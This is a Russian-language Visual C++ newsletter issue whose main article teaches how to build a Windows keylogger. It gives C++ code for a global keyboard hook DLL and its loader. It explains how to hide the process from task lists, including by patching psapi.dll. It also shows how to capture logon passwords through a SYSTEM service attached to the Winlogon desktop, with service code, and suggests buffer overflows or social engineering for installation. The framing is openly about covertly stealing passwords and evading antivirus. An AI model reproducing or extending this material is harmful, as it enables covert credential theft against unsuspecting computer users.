Рассылка закрыта
При закрытии подписчики были переданы в рассылку "RFpro.ru: Программирование на C / C++" на которую и рекомендуем вам подписаться.
Вы можете найти рассылки сходной тематики в Каталоге рассылок.
Реализация keylogging под WIN32
Visual C++ Лучшие статьи с сайта www.p-lib.pp.ru |
Главная | Новости | Статьи | Каталог | Софт | Регистрация | Поиск |
Приглашаем авторов статей к сотрудничеству с сайтом. Для того чтобы разместить на сайте статью надо заполнить форму или связаться с нами по E-Mail NEW! Все желающие могут предложить свои темы для следующих рассылок. Для этого свяжитесь со мной по E-Mail. Каждое предложение будет рассмотрено. |
Новые статьи на сайте |
1.
Работа
с клавиатурой Каждое окно в системе устроено таким образом, что может получать сообщения при нажатии клавиш на клавиатуре. Эти сообщения имеют два типа: виртуальные коды и символьные сообщения. 2. События Событие является объектом, очень похожим на семафор, но в несколько видоизмененном виде. Рассмотрим функции для работы с событиями. 3. Критические секции Понятие критической секции позволяет уберечь определенные области программы так, чтобы в этой области программы в данный момент времени исполнялся бы только один поток. 4. Источники данных ODBC В статье рассмотрены функции по работе с ODBC. В конце приведен небольшой пример. 5. Всплывающие подсказки (ToolTip) В этой статье будет рассмотрен вопрос создания всплывающих подсказок (ToolTip) средствами MFC, а также рассмотрены некоторые возможности по управлению подсказками. 6. STL: Итераторы Библиотека STL содержит довольно большое количество средств и возможностей и конечно все я не смогу описать в одной статье. В этой же статье рассказывается об итераторах. 7. STL: Алгоритмы Алгоритмами в библиотеке STL называют функции-шаблоны. Функции параметризованы по типу итератора. Здесь важно не ошибиться с типом итератора. 8. STL: Адаптеры Адаптеры изменяют интерфейс существующих компонентов. Есть несколько видов адаптеров. 9. Объекты OLE OLE это сокращение от Objects Linking and Embedding, т. е. объекты связанные и внедренные. В статье описано использование таких объектов на примере MS Word. 10. Сериализация в MFC В статье очень подробно рассматривается механизм сериализации, реализованный в MFC. Автор дает полную информацию о работе макросов DECLARE IMPLEMENT_DYNAMIC, DECLARE/IMPLEMENT_SERIAL и DECLARE/IMPLEMENT_DYNCREATE. Также обсуждается поддержка версий схем сериализации. |
Свежие компьютерные новости |
12.01.2006
Google откроет книжный интернет-магазин 12.01.2006 Opera Software выпускает браузер для бытовой техники 12.01.2006 Windows ХР загрузили на процессоре с частотой 25 МГц и 18 Мб ОЗУ 12.01.2006 Билл Гейтс не считает Google основным конкурентом 12.01.2006 "Битрикс" и NetPromoter проводят семинар 12.01.2006 Крошечный блок питания PicoPSU-120 12.01.2006 Macworld 2006: Microsoft продолжит выпуск Office для Mac OS 12.01.2006 AOL купила компанию видеопоиска Truveo |
Реализация keylogging под WIN32 |
Одним из самых простых методов съёма информации с персонального компьютера является установка на компьютер пользователя программы, производящей учёт нажатий клавиш. Данный метод можно легко осуществить при физическом доступе на интересующий компьютер. Установить кейлоггер можно также и удаленно, используя ошибки в реализациях сервисов объекта, но мы опустим методы установки в данной статье. Существует большое количество уже готовых программ-кейлоггеров. Однако во-первых большинство из них уже определяются антивирусными программами, во-вторых, зачастую, их функциональность оставляет желать лучшего, либо они работают крайне нестабильно. Одним из видов программ, осуществляющих съём информации, являются KeyLogger-ы (дословно регистратор клавиш). Они регистрируют все нажатые клавиши на клавиатуре, обрабатывают полученную информацию и сохраняют её в файл. Поскольку закрытая информация (пароли, документы, и т.д.) набирается с клавиатуры, KeyLogger является одним из средств её получения. В операционной системе MSDOS кейлоггер данного вида просто перехватывает прерывание от клавиатуры (int 16h) и нужным образом его обрабатывает. В Win32 все сложнее. Будет уместным описать метод регистрации всех нажатых клавиш с помощью системных ловушек или фильтров (hooks). Этот метод работает как под Win95/98/Millennium так и под WIN NT/2000/XP. В качестве языка программирования для этой задачи стоит выбрать C/C++, а средой разработки MS Visual C++. Ассемблер для этих целей подходит лучше, но писать на Ассемблере в Win32 слишком утомительно и долго. В Win32 API присутствует функция SetWindowsHookEx. Она позволяет определить некоторую (собственную) функцию которая будет срабатывать каждый раз при наступлении некоторого события (получение программой сообщения, нажатия клавиши на клавиатуре, создания окна и т.д.). Полное описание данной функции можно прочитать в MSDN (Microsoft Developer Network Library). Первый параметр данной функции указывает событие, на которое мы ставим ловушку. В нашем случае - клавиатура - WH_KEYBOARD. На втором месте в обработчике вызова мы должны указать адрес функции, которая будет вызываться каждый раз при наступлении данного события. Вид этой функции (для обработки нажатий клавиш) следующий: LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam); где:
Параметр code применяется для отсеивания лишних событий. Например, при наборе в MS Word текста "123" наш обработчик получит по паре событий на каждое нажатие клавиши ("112233") При поступлении интересующего нас сообщения сообщения данный параметр равен HC_ACTION. Поскольку KeyboardProc используется системой, мы должны при описании указать CALLBACK. Итак, для обработки нажатых клавиш мы должны написать свою процедуру KeyboardProc примерно следующим образом: LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) { DWORD IsDown, ScanCode; IsDown = !(lParam >> 31); ScanCode = lParam << 8; ScanCode >>= 24; if (IsDown && code == HC_ACTION) ProccessDownKey(wParam, (unsigned char)ScanCode);//Обрабатываем return 0; } В MSDN сказано, что если параметр code < 0, то нужно предать управление следующей ловушке вызовом CallNextHookEx, но на практике можно этого не делать, а просто возвратить из KeyboardProc 0 и все будет работать. Третий параметр SetWindowsHookEx - дескриптор модуля в котором находится KeyboardProc, а четвертый - идентификатор потока, для которого устанавливается ловушка (0 - для всех потоков в системе). Фильтр может устанавливаться как на один поток одного приложения, так и на все потоки всех приложений. В последнем (наиболее интересном) случае KeyboardProc должна находиться в DLL (Dynamic Link Library). Так сделано из-за особенностей архитектуры Windows, в которой каждый процесс имеет свое адресное пространство. С помощью Visual C++ реализация собственной dll-библиотеки является несложной. Важным моментом является то, что при запуске каждой новой программы при активном фильтре, Windows создает новую копию всех данных DLL, содержащей KeyboardProc, и динамическая библиотека внедряется в адресное пространство запускаемого процесса. Поэтому все глобальные данные следует хранить следующим образом: 1. В исходном коде DLL написать следующее: #pragma data_seg(".SHAREDDATA") /* ... ... Глобальные данные .... Например:*/ static char logFileName[128] = {0}; //Имя файла отчета static int dllsCount; //Число внедренных DLL // и т.д. #pragma data_seg() 2. В .def - файле библиотеки написать: SECTIONS .SHAREDDATA Read Write Shared При обработки события от клавиатуры возникает проблема: Как получить символ (например 'A' или 'a', 's' или 'ы'), который действительно вводил пользователь. Для этого можно воспользоваться функциями ToAscii и ToUnicode, которые позволяют по scan-коду и виртуальному коду, а также состоянию клавиатуры определить конкретный символ. Мы опустим подробное описание механизма загрузки DLL, и получения адреса функции, а приведём пример непосредственного использования нашей библиотеки. Пусть библиотека, содержащая необходимую нам функцию KeyboardProc, называется hooklib.dll. #include <windows.h> int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { HHOOK hHook; HINSTANCE hLib; HOOKPROC pKeybrdProc; hLib = LoadLibrary("hooklib.dll"); if (hLib == NULL) return 0; //Ошибка pKeybrdProc = reinterpret_cast<HOOKPROC>(GetProcAddress(hLib, "KeyboardProc")); if (pKeybrdProc == NULL) { FreeLibrary(hLib); //Ошибка return 0; } hHook = SetWindowsHookEx(WH_KEYBOARD, pKeybrdProc, hLib, 0); if (hHook == NULL) { FreeLibrary(hLib); //Ошибка return 0; } //.... //GetMessage и т. д. пока не поступит WM_QUERYENDSESSION //.... UnhookWindowsHookEx(hHook); FreeLibrary(hLib); return 0; } Примечательно, что данный метод работает и в Windows NT/2000/XP, поскольку функция SetWindowsHookEx не требует никаких привилегий (например SeDebugPrivilege) и будет работать даже под обычным пользователем. Это можно воспринимать как слабину в системе безопасности NT/2000/XP, поскольку всё же происходит внедрение в адресное пространство процесса. (Вспомним атаку GetAdmin, где с помощью внедрения в процесс, в NT без SP3 можно было получить права администратора под пользователем guest!!!). Более подробную информацию по фильтрам вы можете найти в MSDN, в статье "Win32 Hooks". Важным моментом любой программы такого рода является маскировка. В Win95/98/Millennium программу можно скрыть из списка задач функцией RegisterServiceProcess, после этого она не будет видна в списке задач taskman'a, показываемом по нажатии "Ctrl + Alt + Del". Однако любой менеджер процессов (к примеру, SysInfo) всё равно покажет нашу программу, поэтому при написании нужно создавать и информацию о версии. Так будет менее заметней. SysInfo также определяет все установленные в системе ловушки. Функцию RegisterServiceProcess просто так вызвать не удастся, поскольку она не объявленна в windows.h (winuser.h и т.д.). Её нужно вызывать напрямую из KERNEL32.DLL. Она имеет следующий прототип: DWORD RegisterServiceProcess(DWORD dwProcessId, DWORD dwType); где dwProcessId - Id процесса(0 - вызывающий), а dwType = 1, если делаем процесс сервисом, и 0, если убираем сервисные свойства. Решить задачу маскировки в системах NT/2000/XP куда сложней. Одним из способов можно считать подмену psapi.dll из WINNT\system32 таким образом, чтобы в записи для функции EnumProcesses в таблице экспорта этой dll, точка входа (entry point) указывала не на настоящую реализацию этой функции, на некоторую собственную, с последующим вызовом оригинала. Однако этот механизм не будет работать для тех приложений, которые 'жестко' связаны с psapi.dll с помощью утилиты bind.exe. Точки входа для каждой экспортируемой функции из любой dll можно посмотреть с помощью утилиты depends входящий в поставку Platform SDK. Также считаю уместным рассказать в данной статье, как сделать кейлоггер для NT/2000/XP так, чтобы он мог получать информацию (имя пользователя и пароль), которая набирается с клавиатуры при входе пользователя в систему. Данная задача осложняется двумя факторами:
Для решения этих проблем предлагаю следующий механизм: Во-первых, приложение, устанавливающее фильтр клавиш, должно быть оформлено в виде сервиса Win32. (Как сделать сервис можно прочитать в MSDN - глава "Services" раздела "Platform SDK: DLLs, Processes and Threads".) Во-вторых, сервис должен быть зарегистрирован как запускаемый автоматически (SERVICE_AUTO_START - смотрите описание функции CreateService); ну и много же прав вам понадобиться, что бы зарегистрировать сервис ;-). Ну ничего, всегда найдутся ошибки переполнения буфера и т.д. В конце - концов, можно попытать счастье в социальной инженерии. И наконец, самое главное: Имя рабочего стола c окном ввода пароля - "Winlogon" и он находится в интерактивной 'оконной станции' (window station) c именем "Winsta0". Таким образом, чтобы процесс (точнее его поток) мог попасть в данный рабочий стол и установить там ловушку нужно воспользоваться функциями Win32 API OpenWindowStation, SetProcessWindowStation, OpenDesktop и SetThreadDesktop. (cм. Главу "Interactive Services" из MSDN). Если эти функции вызывать из-под сервиса, запускаемого под System - стандартное поведение после регистрации с помощью CreateService с предпоследним параметром равным NULL, то прав хватит сполна и для вызова этих функций и для установки ловушки так, чтобы она обрабатывала интересующие нас окна процесса Winlogon.exe. В качестве параметров, которые обозначают имена этих объектов (рабочий стол, оконная станция), нужно задать приведенные выше значения. Механизм подключения к рабочему столу должен предшествовать вызову функции SetWindowsHookEx. Примечание: не забудьте добавить отдельный поток на пользовательский рабочий стол - "default" из "Winsta0", иначе ловушка не сможет регистрировать действия пользователя после входа в систему. Также хочу отметить, что для не интерактивных сервисов системой создается отдельная оконная станция и рабочий стол, в котором они и запускаются. То есть, без подключения к некоторому реальному рабочему столу, вызывать функцию SetWindowsHookEx из сервиса не имеет смысла. Приведу небольшой пример реализации сервиса и подключения к рабочему столу. В данном примере я опустил всю обработку ошибок. #include <windows.h> void WINAPI MyServiceStart(DWORD, LPTSTR *); void WINAPI MyServiceCtrlHandler(DWORD); void ServiceWorkFunction(); SERVICE_STATUS_HANDLE MyServiceStatusHandle; int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { SERVICE_TABLE_ENTRY DispatchTable[] = {{"MyService", MyServiceStart}, {NULL, NULL}}; //Вызываем точку входа сервиса StartServiceCtrlDispatcher(DispatchTable); } void WINAPI MyServiceStart(DWORD, LPTSTR *) { SERVICE_STATUS MyServiceStatus = {0}; MyServiceStatus.dwServiceType = SERVICE_WIN32; MyServiceStatus.dwCurrentState = SERVICE_RUNNING; //Регистрируем обработчик событий сервиса MyServiceStatusHandle = RegisterServiceCtrlHandler("MyService", MyServiceCtrlHandler); SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus); ServiceWorkFunction(); } void WINAPI MyServiceCtrlHandler(DWORD) { SERVICE_STATUS MyServiceStatus = {0}; MyServiceStatus.dwServiceType = SERVICE_WIN32; MyServiceStatus.dwCurrentState = SERVICE_RUNNING; SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus); } void ServiceWorkFunction() { HWINSTA hWS; HDESK hDT; //Подключаемся к оконной станции hWS = OpenWindowStation("Winsta0", FALSE, GENERIC_ALL); SetProcessWindowStation(hWS); //Подключаемся к рабочему столу hDT = OpenDesktop("Winlogon", 0, FALSE, GENERIC_ALL); SetThreadDesktop(hDT); //SetWindowsHookEx и т.д. } Вот и всё. |
Книги с озона |
Последнии статьи по Delphi |
Советую посетить |
Портал
для Delphi программиста - Быстро развивающийся портал о
программирование на языке Pascal/Delphi. Статьи, исходники, компоненты,
справочники, мануалы, FaQ, программы. |
Дружественные рассылки |
![]() |
Замечания и предложения отправляйте на E-Mail указанный ниже. С уважением Ковязин Дмитрий (admin@p-lib.pp.ru). |
Subscribe.Ru
Поддержка подписчиков Другие рассылки этой тематики Другие рассылки этого автора |
Подписан адрес:
Код этой рассылки: comp.soft.prog.visualc Архив рассылки |
Отписаться
Вебом
Почтой
Вспомнить пароль |
В избранное | ||